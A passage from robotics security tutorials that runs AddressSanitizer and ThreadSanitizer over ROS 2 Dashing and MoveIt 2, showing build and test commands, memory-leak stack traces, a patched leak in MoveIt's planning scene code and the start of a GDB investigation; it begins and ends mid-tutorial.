        #2 0x7f4eae6c6c7e in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
        ...

and

Direct leak of 8 byte(s) in 1 object(s) allocated from:
        #0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
        #2 0x7f4eae8e7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
        ...

Both correspond to the calloc call at https://github.com/ros2/rcutils/blob/master/src/allocator.c#L56 however with different callers: - https://github.com/ros2/rcutils/blob/master/src/string_array.c#L54 (1) - https://github.com/ros2/rmw/blob/master/rmw/src/names_and_types.c#L72 (2)

A complete report with all the bugs found is available at sanitizer_report_ros2dashing_asan.csv.

A further discussion into this bug and an analysis with GDB is available at tutorial3.

Looking for bugs and vulnerabilities with ThreadSanitizer (TSan)

Similar to ASan, we can use the ThreadSanitizer:

docker build -t basic_cybersecurity_vulnerabilities1:latest .
    docker run --privileged -it -v /tmp/log:/opt/ros2_moveit2_ws/log basic_cybersecurity_vulnerabilities1:latest /bin/bash
    colcon test --build-base=build-tsan --install-base=install-tsan --event-handlers sanitizer_report+ --packages-up-to test_communication

A complete report with all the bugs found is available at sanitizer_report_ros2dashing_tsan.csv.

Resources

• [1] https://arxiv.org/pdf/1806.04355.pdf
• [2] https://discourse.ros.org/t/introducing-ros2-sanitizer-report-and-analysis/9287
• [3] https://github.com/colcon/colcon-sanitizer-reports/blob/master/README.rst
• [4] https://github.com/colcon/colcon-sanitizer-reports
• [5] https://github.com/ccache/ccache
• [6] https://github.com/google/sanitizers/wiki/AddressSanitizer
• [7] https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual
• [8] https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizerVsHeapChecker

Robot sanitizers in MoveIt 2

In this tutorial we’ll apply the robot santizers over the the moveit2 alpha release code and review the results. This tutorial builds on top of tutorial1, originally inspired by [1].

Looking for bugs and vulnerabilities in MoveIt 2 with AddressSanitizer (ASan)

We’ll dockerize the process to simplify reproduction of results. Let’s compile the moveit2 code with the right flags for dynamic bugs finding:

docker build -t basic_cybersecurity_vulnerabilities2:latest .

And now, let’s jump inside of the container, launch the tests and review the results:

docker run --privileged -it -v /tmp/log:/opt/ros2_moveit2_ws/log basic_cybersecurity_vulnerabilities2:latest /bin/bash
    colcon test --build-base=build-asan --install-base=install-asan \
      --event-handlers sanitizer_report+ --merge-install --packages-up-to moveit_core

NOTE: To keep things simple I’ve restricted the packages reviewed to moveit_core and its core dependencies solely. A complete review including all moveit packages is recommended in case one wanted to catch all bugs.

Results are summarized in the sanitizer_report.csv (https://gist.github.com/vmayoral/25b3cff2c954b099eeb4d1471c1830e2). A quick look through the log/ directory gives us an intuition into the different bugs detected:

grep -R '==.*==ERROR: .*Sanitizer' log/latest_test | grep stdout_stderr
    log/latest_test/octomap/stdout_stderr.log:1: ==36465==ERROR: LeakSanitizer: detected memory leaks
    log/latest_test/octomap/stdout_stderr.log:12: ==36587==ERROR: LeakSanitizer: detected memory leaks
    log/latest_test/octomap/stdout_stderr.log:13: ==36589==ERROR: LeakSanitizer: detected memory leaks
    log/latest_test/geometric_shapes/stdout_stderr.log:2: ==36631==ERROR: LeakSanitizer: detected memory leaks
    log/latest_test/geometric_shapes/stdout_stderr.log:3: ==36634==ERROR: LeakSanitizer: detected memory leaks
    log/latest_test/moveit_core/stdout_stderr.log:13: ==36756==ERROR: LeakSanitizer: detected memory leaks

Interesting! That’s a bunch of errors in a rather small amount of code. Let’s look at the relationship of the packages (often we want to start fixing bugs of packages with less dependencies so that the overall sanitizing process becomes easier):

colcon list -g --packages-up-to moveit_core
    [0.580s] WARNING:colcon.colcon_core.package_selection:the --packages-skip-regex ament.* doesnt match any of the package names
    angles                   +              *
    eigen_stl_containers      +            **
    joint_state_publisher      +        *   .
    libcurl_vendor              +        * ..
    object_recognition_msgs      +     *    .
    octomap                       +        **
    octomap_msgs                   +   *    *
    random_numbers                  +      **
    tf2_kdl                          +      *
    urdfdom_py                        +   * .
    moveit_msgs                        +    *
    moveit_resources                    +   *
    resource_retriever                   + *.
    srdfdom                               + *
    geometric_shapes                       +*
    moveit_core                             +

This translates as follows[2]:

# made with:
    apt-get install ros-dashing-qt-dotgraph
    colcon list --packages-up-to moveit_core --topological-graph-dot | dot -Tpng -o deps.png

Both, geometric_shapes and moveit_core depend on quite a few other packages so one would probably pick octomap for starters and try fixing that bug first scaliting into other packages.

Fixing bugs

As per the original report the moveit_core related bug detected by ASan is listed below:

13: ==36756==ERROR: LeakSanitizer: detected memory leaks
    13:
    13: Direct leak of 40 byte(s) in 1 object(s) allocated from:
    13:     #0 0x7fcbf6a7b458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
    13:     #1 0x7fcbf5d0c0fd in shapes::constructShapeFromText(std::istream&) /opt/ros2_moveit2_ws/src/geometric_shapes/src/shape_operations.cpp:505
    13:     #2 0x7fcbf6641561 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&, Eigen::Transform<double, 3, 1, 0> const&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1077
    13:     #3 0x7fcbf6640336 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1043
    13:     #4 0x562e70b1ea9d in PlanningScene_loadBadSceneGeometry_Test::TestBody() /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:223
    13:     #5 0x562e70ba7039 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
    13:     #6 0x562e70b9918d in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
    13:     #7 0x562e70b458b5 in testing::Test::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2522
    13:     #8 0x562e70b46ce0 in testing::TestInfo::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2703
    13:     #9 0x562e70b47884 in testing::TestCase::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2825
    13:     #10 0x562e70b62995 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:5216
    13:     #11 0x562e70ba9aec in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
    13:     #12 0x562e70b9b456 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
    13:     #13 0x562e70b5f729 in testing::UnitTest::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:4824
    13:     #14 0x562e70b20ba5 in RUN_ALL_TESTS() (/opt/ros2_moveit2_ws/build/moveit_core/planning_scene/test_planning_scene+0x55ba5)
    13:     #15 0x562e70b1f0be in main /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:229
    13:     #16 0x7fcbf3c66b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    13:
    13: SUMMARY: AddressSanitizer: 40 byte(s) leaked in 1 allocation(s).
    13: -- run_test.py: return code 1
    13: -- run_test.py: inject classname prefix into gtest result file '/opt/ros2_moveit2_ws/build/moveit_core/test_results/moveit_core/test_planning_scene.gtest.xml'
    13: -- run_test.py: verify result file '/opt/ros2_moveit2_ws/build/moveit_core/test_results/moveit_core/test_planning_scene.gtest.xml'
    13/17 Test #13: test_planning_scene ..............***Failed    3.57 sec

This can be easily reproduced by launching the corresponding test file:

root@bf916bb1a977:/opt/ros2_moveit2_ws# source install/setup.bash
    root@bf916bb1a977:/opt/ros2_moveit2_ws# build/moveit_core/planning_scene/test_planning_scene
    [==========] Running 6 tests from 1 test case.
    [----------] Global test environment set-up.
    [----------] 6 tests from PlanningScene
    [ RUN      ] PlanningScene.LoadRestore
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
    [       OK ] PlanningScene.LoadRestore (796 ms)
    [ RUN      ] PlanningScene.LoadRestoreDiff
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
    [       OK ] PlanningScene.LoadRestoreDiff (699 ms)
    [ RUN      ] PlanningScene.MakeAttachedDiff
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
    [       OK ] PlanningScene.MakeAttachedDiff (697 ms)
    [ RUN      ] PlanningScene.isStateValid
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [       OK ] PlanningScene.isStateValid (547 ms)
    [ RUN      ] PlanningScene.loadGoodSceneGeometry
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [       OK ] PlanningScene.loadGoodSceneGeometry (437 ms)
    [ RUN      ] PlanningScene.loadBadSceneGeometry
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [ERROR] [moveit.planning_scene]: Bad input stream when loading marker in scene geometry
    [ERROR] [moveit.planning_scene]: Improperly formatted color in scene geometry file
    [       OK ] PlanningScene.loadBadSceneGeometry (466 ms)
    [----------] 6 tests from PlanningScene (3643 ms total)
    
    [----------] Global test environment tear-down
    [==========] 6 tests from 1 test case ran. (3645 ms total)
    [  PASSED  ] 6 tests.
    
    =================================================================
    ==38461==ERROR: LeakSanitizer: detected memory leaks
    
    Direct leak of 40 byte(s) in 1 object(s) allocated from:
        #0 0x7f9a7e0b7458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
        #1 0x7f9a7d3480fd in shapes::constructShapeFromText(std::istream&) /opt/ros2_moveit2_ws/src/geometric_shapes/src/shape_operations.cpp:505
        #2 0x7f9a7dc7d561 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&, Eigen::Transform<double, 3, 1, 0> const&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1077
        #3 0x7f9a7dc7c336 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1043
        #4 0x555a087ffa9d in PlanningScene_loadBadSceneGeometry_Test::TestBody() /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:223
        #5 0x555a08888039 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
        #6 0x555a0887a18d in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
        #7 0x555a088268b5 in testing::Test::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2522
        #8 0x555a08827ce0 in testing::TestInfo::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2703
        #9 0x555a08828884 in testing::TestCase::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2825
        #10 0x555a08843995 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:5216
        #11 0x555a0888aaec in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
        #12 0x555a0887c456 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
        #13 0x555a08840729 in testing::UnitTest::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:4824
        #14 0x555a08801ba5 in RUN_ALL_TESTS() (/opt/ros2_moveit2_ws/build/moveit_core/planning_scene/test_planning_scene+0x55ba5)
        #15 0x555a088000be in main /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:229
        #16 0x7f9a7b2a2b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    
    SUMMARY: AddressSanitizer: 40 byte(s) leaked in 1 allocation(s).

The bug is patched by https://github.com/AcutronicRobotics/moveit2/pull/113. After having patched the bug:

root@bf916bb1a977:/opt/ros2_moveit2_ws# build-asan/moveit_core/planning_scene/test_planning_scene
    [==========] Running 6 tests from 1 test case.
    [----------] Global test environment set-up.
    [----------] 6 tests from PlanningScene
    [ RUN      ] PlanningScene.LoadRestore
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
    [       OK ] PlanningScene.LoadRestore (601 ms)
    [ RUN      ] PlanningScene.LoadRestoreDiff
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
    [       OK ] PlanningScene.LoadRestoreDiff (535 ms)
    [ RUN      ] PlanningScene.MakeAttachedDiff
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
    [       OK ] PlanningScene.MakeAttachedDiff (526 ms)
    [ RUN      ] PlanningScene.isStateValid
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [       OK ] PlanningScene.isStateValid (465 ms)
    [ RUN      ] PlanningScene.loadGoodSceneGeometry
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [       OK ] PlanningScene.loadGoodSceneGeometry (431 ms)
    [ RUN      ] PlanningScene.loadBadSceneGeometry
    [INFO] [robot_model]: Loading robot model 'pr2'...
    [ERROR] [moveit.planning_scene]: Bad input stream when loading marker in scene geometry
    [ERROR] [moveit.planning_scene]: Improperly formatted color in scene geometry file
    [       OK ] PlanningScene.loadBadSceneGeometry (425 ms)
    [----------] 6 tests from PlanningScene (2984 ms total)
    
    [----------] Global test environment tear-down
    [==========] 6 tests from 1 test case ran. (2985 ms total)
    [  PASSED  ] 6 tests.

Looking for bugs and vulnerabilities in MoveIt 2 with ThreadSanitizer (TSan)

To use TSan [3] we rebuild the container (uncommenting and commenting the right sections) access it and manually launch the tests:

docker build -t basic_cybersecurity_vulnerabilities2:latest .
    docker run --privileged -it -v /tmp/log:/opt/ros2_moveit2_ws/log basic_cybersecurity_vulnerabilities2:latest /bin/bash
    colcon test --build-base=build-tsan --install-base=install-tsan --event-handlers sanitizer_report+ --packages-up-to moveit_core --merge-install

No issues where found while running TSan (up until moveit_core).

Resources

• [1] https://github.com/colcon/colcon-sanitizer-reports/blob/master/README.rst
• [2] https://discourse.ros.org/t/exploring-package-dependencies/4719
• [3] TSan Cpp manual https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual

Debugging output of robot sanitizers with GDB, hunting and fixing bugs

This article aims to describe the process of introspecting memory leaks by directly connecting the debugger with the sanitizer-tests/binaries. The tutorial builds on top of the previous two articles, refer to tutorial1 and tutorial2.

Fetch the bugs

Similar to [1]:

```bash
    # Build the code with ASan
    colcon build --build-base=build-asan --install-base=install-asan --cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON -DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli -DCMAKE_BUILD_TYPE=Debug --mixin asan-gcc --symlink-install

    # Launch tests with ASan
    colcon test --build-base=build-asan --install-base=install-asan --event-handlers sanitizer_report+
    ```

The complete set of bugs found has been captured and dumped at sanitizer_report_ros2dashing.csv file.

Gaining some additional understanding

Let’s pick the first vulnerability and start exploring it and the structure of its code and relationships:

First flaw: detected memory leak in rcl

```bash
    rcl,detected memory leaks,__default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56,4,"    
        #0 0x7f762845bd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f7627a484d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
        #2 0x7f7627a5ae77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
        #3 0x7f7627839b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
        #4 0x7f7624cdf362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
        #5 0x7f7624ce1c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
        #6 0x7f7624ce20d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
        #7 0x7f7627dd4a25 in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_dynamic_cpp/src/rmw_node_info_and_types.cpp:64
        #8 0x7f762811a875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
        #9 0x5565b057589d in TestGraphFixture__rmw_fastrtps_dynamic_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
        #10 0x5565b062d9c5 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #11 0x5565b061fb19 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #12 0x5565b05cc601 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
        #13 0x5565b05cda2c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
        #14 0x5565b05ce5d0 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
        #15 0x5565b05e96e1 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
        #16 0x5565b0630478 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #17 0x5565b0621de2 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #18 0x5565b05e6475 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
        #19 0x5565b05b99c4 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
        #20 0x5565b05b990a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
        #21 0x7f7626a81b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)"

    ```

This first bug seems to apply to rcl but crashies in rcutils. Let’s see if we can visualize its relationship with detected bugs. First, let’s plot the complete graph of relationships:

```bash
    colcon list --topological-graph-dot | dot -Tpng -o deps.png
    ```

This will generate a report of all dynamic bugs found while reviewing ROS 2 Dashing Diademata with ASan sanitizer. The plot generated is available in deps_all.png (warning: this file is 27M). This is frankly to bussy to make sense of it so let’s try to simplify the plot:

```bash
    colcon list --topological-graph-dot --packages-above-depth 1 rcutils | dot -Tpng -o deps.png
    ```

legend: blue=build, red=run, tan=test, dashed=indirect

In this graph we can see that rcutils package is used by a variety of other packages and likely, it seems that the leak is happening through one of the rcl-related tests. Let’s next try to reproduce the bug by finding the right test that triggers the memory leak.

Getting ready to debug

Let’s find the test that actually allows us to reproduce this: ~~~smallcontent

# source the install directory
    source /opt/ros2_asan_ws/install-asan/setup.bash
    cd /opt/ros2_asan_ws/build-asan/rcl
    ./test_graph__rmw_fastrtps_cpp

    this will produce:

    Dump of `test_graph__rmw_fastrtps_cpp`

    ~~~smallcontent
    ```bash
    # source the worspace itself
    source install-asan/setup.bash
    # cd <whatever test dir>
      
     ## Launch the actual failing test
    ./test_graph__rmw_fastrtps_cpp
    Running main() from /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
    [==========] Running 14 tests from 2 test cases.
    [----------] Global test environment set-up.
    [----------] 11 tests from TestGraphFixture__rmw_fastrtps_cpp
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_and_destroy_topic_names_and_types
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_and_destroy_topic_names_and_types (23 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types (20 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_names_and_types_init
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_names_and_types_init (22 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_publisher_names_and_types_by_node
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node:
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: _InvalidNodeName
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: /test_rcl_get_publisher_names_and_types_by_node
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_publisher_names_and_types_by_node (19 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_subscriber_names_and_types_by_node
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node:
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: _InvalidNodeName
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: /test_rcl_get_subscriber_names_and_types_by_node
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_subscriber_names_and_types_by_node (21 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types_by_node
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node:
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: _InvalidNodeName
    [ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: /test_rcl_get_service_names_and_types_by_node
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types_by_node (24 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_publishers
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_publishers (19 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_subscribers
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_subscribers (20 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_query_functions
    [INFO] [rcl]:  Try 1: 0 publishers, 0 subscribers, and that the topic is not in the graph.
    [INFO] [rcl]:   state correct!
    [INFO] [rcl]:  Try 1: 1 publishers, 0 subscribers, and that the topic is in the graph.
    [INFO] [rcl]:   state correct!
    [INFO] [rcl]:  Try 1: 1 publishers, 1 subscribers, and that the topic is in the graph.
    [INFO] [rcl]:   state correct!
    [INFO] [rcl]:  Try 1: 0 publishers, 1 subscribers, and that the topic is in the graph.
    [INFO] [rcl]:   state correct!
    [INFO] [rcl]:  Try 1: 0 publishers, 0 subscribers, and that the topic is not in the graph.
    [INFO] [rcl]:   state correct!
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_query_functions (22 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_guard_condition_topics
    [INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
    [INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
    [INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
    [INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
    [INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
    [INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_guard_condition_topics (1234 ms)
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_service_server_is_available
    [INFO] [rcl]: waiting up to '1000000000' nanoseconds for graph changes
    [INFO] [rcl]: waiting up to '1000000000' nanoseconds for graph changes
    [       OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_service_server_is_available (36 ms)
    [----------] 11 tests from TestGraphFixture__rmw_fastrtps_cpp (1460 ms total)

    [----------] 3 tests from NodeGraphMultiNodeFixture
    [ RUN      ] NodeGraphMultiNodeFixture.test_node_info_subscriptions
    [       OK ] NodeGraphMultiNodeFixture.test_node_info_subscriptions (1037 ms)
    [ RUN      ] NodeGraphMultiNodeFixture.test_node_info_publishers
    [       OK ] NodeGraphMultiNodeFixture.test_node_info_publishers (1040 ms)
    [ RUN      ] NodeGraphMultiNodeFixture.test_node_info_services
    [       OK ] NodeGraphMultiNodeFixture.test_node_info_services (1035 ms)
    [----------] 3 tests from NodeGraphMultiNodeFixture (3112 ms total)

    [----------] Global test environment tear-down
    [==========] 14 tests from 2 test cases ran. (4572 ms total)
    [  PASSED  ] 14 tests.

    =================================================================
    ==30425==ERROR: LeakSanitizer: detected memory leaks

    Direct leak of 56 byte(s) in 1 object(s) allocated from:
        #0 0x7f5278a99d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f52781e54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
        #2 0x7f5277fd6c7e in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
        #3 0x7f5275880362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) 